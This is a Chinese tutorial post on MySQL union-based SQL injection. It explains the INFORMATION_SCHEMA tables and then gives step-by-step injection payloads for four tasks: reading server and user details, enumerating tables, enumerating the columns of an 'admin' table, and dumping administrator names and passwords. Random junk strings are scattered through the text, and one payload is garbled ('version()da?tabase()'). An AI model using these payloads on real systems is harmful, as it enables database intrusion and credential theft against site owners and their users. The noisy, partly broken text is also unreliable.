mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法
+ N9 s- Z) o4 ]# p- s
学习盲注前先了解下 IFORMATION_SCHEMA 库

Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
5 ?: M0 M4 N9 D9 v0 N1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
|---字段：SCHEMA_NAME ->数据库名称

|TABLES ->存储表名
|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
+ N* t: F# I1 ~0 M|---字段：TABLE_NAME ->存储表的表名
% G8 w7 K# j7 b& P5 W4 g: w  R* `
- V* R1 H1 Q' U' D% R|COLUMNS ->存储的字段名表
|---字段：TABLE_SCHEMA ->该字段所属数据库名
|---字段：TABLE_NAME ->存储所属表的名称
: N% c  F  h! b
|---字段：COLUMN_NAME ->该字段的名称
  B: w8 v+ ^- O! M: r; e
! S! F5 n0 n  Y

###########################################################################
2 V; c- h' n4 Q% d# h4 x
2 V  S. R) E+ \+ K  z0x001 获取系统信息:

union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

% j* ^; g4 x8 a$ U/*

@@global.version_compile_os 获取系统版本

@@datadir 数据库路径
, ~  Z+ l$ N3 A3 Pdatabase() 当前数据库名称
% S+ J6 ]. C  i/ r: Z' c- ^9 m0x3c62723e 换行HEX值

*/
8 o% {) ?7 A1 f$ N7 I


######################################################################

( a4 ~% r# Q1 h. s0x002 获取表名
- ?: A/ O+ r% b2 F. ]/ P# j  J
# n- Z# s1 q! f5 `4 d' Junion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*

. P3 G# u( ?& {$ K% K) D

$ \9 a: ]+ |; \3 I- ^2 Y- h/*
2 Z: Y+ \5 m/ f8 L# Y' j9 o
6 X. g- N5 ?" b- s9 |" e. V* A7 B: n0x67617264656e 为当前数据库名

2 E  o! x; ?4 D. Rgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名

*/
+ Z0 O0 U" k1 O
######################################################################

- r; W+ ^1 k0 x2 r
; M# m' c! @' P3 A
0x003 获取字段

6 S$ F! l7 w4 |union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
+ m/ j- l9 I" e% L) i$ l1 r
: d1 f1 h/ i# T/*
5 c: c  `: f! c- ~& ]
' M/ @' t- ^8 I. S) k0 p! Ogroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
% b& p. f7 z% K" ~9 d' C  C* _
0x61646d696e ->选择一个表

8 `1 h& r% h: E0x67617264656e ->数据库名

* [/ \/ v* @7 c  {) b$ R. s* d* I  D*/
5 s2 R, \6 Q6 V  {6 W. S% f4 O
#####################################################################

% t; p; H7 D  j* a

9 c) B6 T# a  S2 u5 ]0x004 获取数据

+ s5 J8 b& E/ y1 Tunion select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
9 M( c7 a- R0 V! F- a
* {+ g3 k' I% K( ]
$ Z. m2 A4 o8 t$ }: K0 k( n
/*
9 y/ }- E% }7 M/ D4 I+ a
0x3c62723e 换行符号HEX编码
2 j( G5 s% w+ u3 g" y- `  Q
group_concat 同时获得该字段所有数据

*/